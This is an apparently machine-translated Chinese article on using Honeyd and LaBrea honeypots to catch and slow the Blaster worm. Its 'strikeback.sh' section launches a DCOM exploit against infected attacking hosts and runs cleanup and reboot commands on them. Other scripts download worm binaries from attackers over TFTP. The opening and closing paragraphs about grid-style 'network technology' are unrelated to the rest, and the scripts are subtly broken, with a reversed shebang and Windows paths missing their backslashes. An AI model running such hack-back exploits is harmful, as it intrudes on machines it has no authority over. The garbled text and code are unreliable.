網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。 2003年夏天,對于運行著Microsoft Windows的成千上萬臺主機來說簡直就是場噩夢!也給廣大網民留下了悲傷的回憶,這一些都歸結于沖擊波蠕蟲的全世界范圍的傳播。這種事件也以不是第一次了,以往的Slammer, Code Red,Nimda 蠕蟲同樣也有著類似的破壞效果。 這種蠕蟲會在被感染的機器上自己復制,以其達到通過蔓布因特網感染其他的機器的目的。導致了人們對網絡安全問題的重視。 人們總是習慣于相同類型的系統與程序。這同達爾文的某個理論相似,單作的這使許多網絡安全專家畏懼連到因特網,而遭到一種新的惡意的蠕蟲的攻擊,如果最近的沖擊波能格式Windows 的機器的硬盤會是什么下場?雖然它沒這種效果,但它可以輕易的達到那種效果, 隨著新的網絡攻擊的水平不斷提高,提出一個新的解決方案必須的。 這篇文章是說用Honeypots 同Internet 蠕蟲作斗爭的方法,第一部分介紹討論關于傳播廣泛的蠕蟲的背景知識,然后,討論Honeypots 的一些實用的功能。最后,我們將搭建一個Honeypots來同Internet 蠕蟲作斗爭和反擊。最后,我們將展望一下未來的觀點。 1.0 關于蠕蟲 簡單點說,蠕蟲就是有著危害的代碼來攻擊網上的受害主機,并在受害主機上自我復制,再攻擊其他的受害主機的令人畏懼的實體。 大多數時間, 蠕蟲程序都是計算機黑客,網絡安全研究人員和病毒作者寫的。病毒傳染基于迷惑人脆弱的部分,通過社會工程學來傳播。比如,迷惑一個用戶敲擊一個電子郵件附件,以其達到目的。 蠕蟲主要有三種主要特性: 感染: 通過利用脆弱感染一個目標。 潛伏:感染當地目標遠程主機。 傳播:影響的目標,再感染其他的主機。 2.0 關于 honeypots Honeypots是一個哄騙進攻者的計算機。在一個網絡上,惡意的攻擊者將會攻擊偽造的系統,他們使盡一些方法得到的只是一些無關的信息。 當一個honeypot作為偽造的主機,常常哄騙進攻者時,這就意味著所有的請求到honeypot都是可懷疑的, honeypots 經常認為用于被動分析時,他們也能起交互式作用來處理蠕蟲,兩種honeypots 經常被使用。 高級應用:一種真正的主機通常幾乎犧牲(叫做傀儡主機),在一個網絡在等待任何進攻者攻擊。 低級應用:服務器和/或主機是模擬的(例如Honeyd by Niels Provos) 3.0 蜜罐同蠕蟲的對抗 這章的目標將是證明交互式honeypots 同蠕蟲作斗爭的優勢,我們將明白怎么使用新的蜜罐技術來防御不同的階段期間的蠕蟲, 3.1 蠕蟲與蠕蟲的感染 蠕蟲感染的階段就是它在受害主機上自我復制攻擊其他的主機。 在這個階段期間 ,作為防守者的蜜罐會檢測非法入侵者的行為。比如,監視網絡,這項技術通常被稱為太公釣魚,愿者上鉤。防守者的蜜罐是一個建在網關上的,扮演著一個防火墻,或者入侵檢測系統(IDS),或者是入侵防御系統(IPS)。它過濾了通過網絡的流量,分析數據包的內容。然后,如果網絡的地址同那些知名的攻擊的指紋是否相同,在檢驗之后,網關將標記一定時期內的危害的源地址。因此,危害的數據包將被重定向到蜜罐中,而不是主網絡中。 對于最近的沖擊波蠕蟲,如果網關機器對來自外部的TCP數據包請求本地135端口,被IDS進行標記。他將被重定向到蜜罐中。我們將在第3.3章中討論蜜罐未來的新功能。 我們也發現了這門技術的缺點: 1,標記總是晚于新的未知的攻擊, 2,這一概念是可靠的嗎?如果因為錯誤的配置而系統出錯,將合法的數據包發到蜜罐中該怎么辦? 3,網絡速度因為網關的巨量的分析而被減慢。 3.2 蜜罐與蠕蟲的潛伏 蜜罐技術對于對付是非常有用的,特別是撲獲和分析它們。為了撲獲到一個蠕蟲,你可以讓一臺主機感染上,至少讓蠕蟲認為已感染上了,在前一章了,我們看到我們能用蜜罐來轉向這些攻擊的流量。 蜜罐也被稱為“傀儡主機”(一個正常的沒有打最新補丁的漏洞主機,有被入侵的可能性)。或者模擬一個服務,注意要讓她們在你的控制下不能在反彈感染其他的主機。如想獲得更多的信息,請參考Honeynet Project.的建議。 3.2.1 受害主機 使用一個受害主機,安裝著原始的操作系統和一些適當的服務,也可以通過VMWare來安裝許多個操作系統,來迷惑蠕蟲的攻擊. 為了撲獲蠕蟲,受害主機等待被感染,以至于監視網絡上的流量并發現蠕蟲. 3.2.2 虛擬的主機和服務 模擬這個虛擬的主機和服務,honeypot 通過偽造的服務能讓遠程的蠕蟲進行接觸。完成這種的程序叫做蜜罐 為了描述這個方法,這里有一種方法來欺騙沖擊波蠕蟲的,它會欺騙沖擊波蠕蟲認為對方的Windows 主機開放著135端口,并運行著RPC DCOM 服務。 這個簡單的配置通常能成功地發現在因特網上的沖擊波蠕蟲。 create default set default personality "Windows XP Pro" add default tcp port 135 open add default tcp port 4444 "/bin/sh scripts/WormCatcher.sh $ipsrc $ipdst" set default tcp action block set default udp action block 這里有一個在Honeyd 發布的對每一個請求4444端口腳本程序。 !#/bin/sh # Creation of a directory for every contaminated host # attacking the honeypot, in order to archive different binaries mkdir /tmp/$1-$2 # Download of the worm through TFTP in this directory # (specific behaviour for MSBlast) cd /tmp/$1-$2/ tftp $1 <<EOF get msblast.exe quit EOF 通過這種簡單的配置,我們能在沒有操作系統中發現沖擊波蠕蟲的攻擊。這項技術所以很實用. 3.3 蜜罐與蠕蟲的傳播 3.3.1 對蠕蟲請求的回應 當一個蠕蟲想傳播是,會隨機攻擊一些IP.在這些目標列表中,一些IP可能沒有被用.但其他的IP就會遭到蠕蟲的攻擊,如果一些IP對蠕蟲的攻擊沒有相應的話,它們就會跳過這些IP攻擊其他的IP. 當一個蠕蟲攻擊一個不存在的主機時,蜜罐就會偽裝信息讓蠕蟲攻擊它. 比如,沖擊波會隨機選擇攻擊開了135端口的主機.對沒有用的IP,我們可以設置蜜罐來誘撲沖擊波蠕蟲.要用到叫做arpd的demon.具體配置如下: create default set default personality "Windows XP Pro" add default tcp port 135 open set default tcp action block set default udp action block 有了這個配置,沖擊波蠕蟲就會對不存在運行著蜜罐的IP進行攻擊,蠕蟲會以為對方開著135端口的漏洞主機.通過這門技術,沖擊波蠕蟲就會被偽造的信息欺騙,達到拖延時間,進而通知管理員,采取措施,對進程中的程序進行清理.避免遭到沖擊波的控制. 如果一個新的蠕蟲設計過于復雜,這個蜜罐就不是那么好配置了. 3.3.2 對蜜罐的緩慢的回應 繼續前一章的,蜜罐能監視所進來得請求的數據,使在網絡層的對蠕蟲的回應減慢,這項技術以被使用,所用到的工具叫做Labrea。這個Unix daemon 能對未存在的IP作出回應。為了模擬對攻擊者的TCP session。它使用合法的RFC的文檔,來最大化的拖延TCP session的時間。為了避免蠕蟲的攻擊,TCP window size 始終保持為0。 通常下蠕蟲都是以一個進程在受害主機上的。在內核中使用classic network calls來到處傳播,在用戶的領域使用classic API。蠕蟲不知道網絡為什么運行這么慢,它會減慢并阻塞偽造的目標。 作為實驗,Labrea已成功地戰勝了紅色代碼蠕蟲,它也可能對付其他的蠕蟲攻擊。在未來的Honeyd 系統中將添加這樣的功能。 盡管這種防守體系有很多缺點,比如多線程的蠕蟲或未意識到的蠕蟲會同時攻擊一些目標,而不會阻塞我們偽造的目標。 3.3.3 我們應采取什么反擊措施 一些已發布的反擊措施 *孤立一些主機 *關閉蠕蟲敏感的遠程的服務 *對遠程設備(路由器,防火墻等等)制定合適的流量監控 3.3.4 Launching a counter offensive 這里有一個通過Honeyd配置的例子, create default set default personality "Windows XP Pro" add default tcp port 135 open add default tcp port 4444 "/bin/sh scripts/strikeback.sh $ipsrc" set default tcp action block set default udp action block 蜜罐的TCP 135端口開著,并接受沖擊波蠕蟲的攻擊,幸運的是,蠕蟲沒有檢查RPC 回應的完整。因此,蜜罐經過三次握手的過程,來檢測非法的數據包。 然后,我們添加一個4444端口服務,它可以讓沖擊波獲得遠程的SHELL,包括通過TFTP來執行下載代碼。這個偽造的SHELL將通過一個叫做strikeback.sh來欺騙蠕蟲。 以下是運行在Windows XP Pro系統下的strikeback.sh程序, !#/bin/sh # Launches a DCOM exploit toward the infected attacking host # and then run cleaning commands in the remote DOS shell obtained ./dcom_exploit -d $1 << EOF REM Executes the following orders on the host : REM 1) Kill the running process MSBlast.exe taskkill /f /im msblast.exe /t REM 2) Eliminate the binary of the worm del /f %SystemRoot%system32msblast.exe REM 3) Clean the registry echo Regedit4 > c: cleanerMSB.reg echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >> c:cleanerMSB.reg echo "auto windows update" = "REM msblast.exe" >> c: cleanerMSB.reg regedit /s c: cleanerMSB.reg del /f c:cleanerMSB.reg REM N) Specific actions to update the Windows host could be added here REM N+1) Reboot the host shutdown -r -f -t 0 exit EOF 4.0 總結 蜜罐技術已成為對抗蠕蟲的有效措施。它們把蠕蟲的流量重定向到偽造的主機上,以至于撲獲到蠕蟲并分析它們的特征,來限制蠕蟲在網絡上的傳播。 網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!